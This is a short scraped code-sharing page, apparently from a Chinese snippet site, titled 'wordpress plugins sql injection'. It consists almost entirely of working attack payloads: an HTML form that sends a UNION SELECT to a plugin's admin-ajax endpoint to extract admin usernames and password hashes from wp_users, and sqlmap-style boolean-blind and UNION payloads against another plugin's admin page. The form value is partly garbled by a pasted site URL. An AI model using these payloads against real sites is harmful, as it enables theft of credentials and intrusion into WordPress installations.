首页 > 代码库 > wordpress plugins sql injection

wordpress plugins sql injection

<*form method="post"
action="http://***/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="http://www.mamicode.com/0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">
通过提交的value
 
https://***/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1
 
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP

wordpress plugins sql injection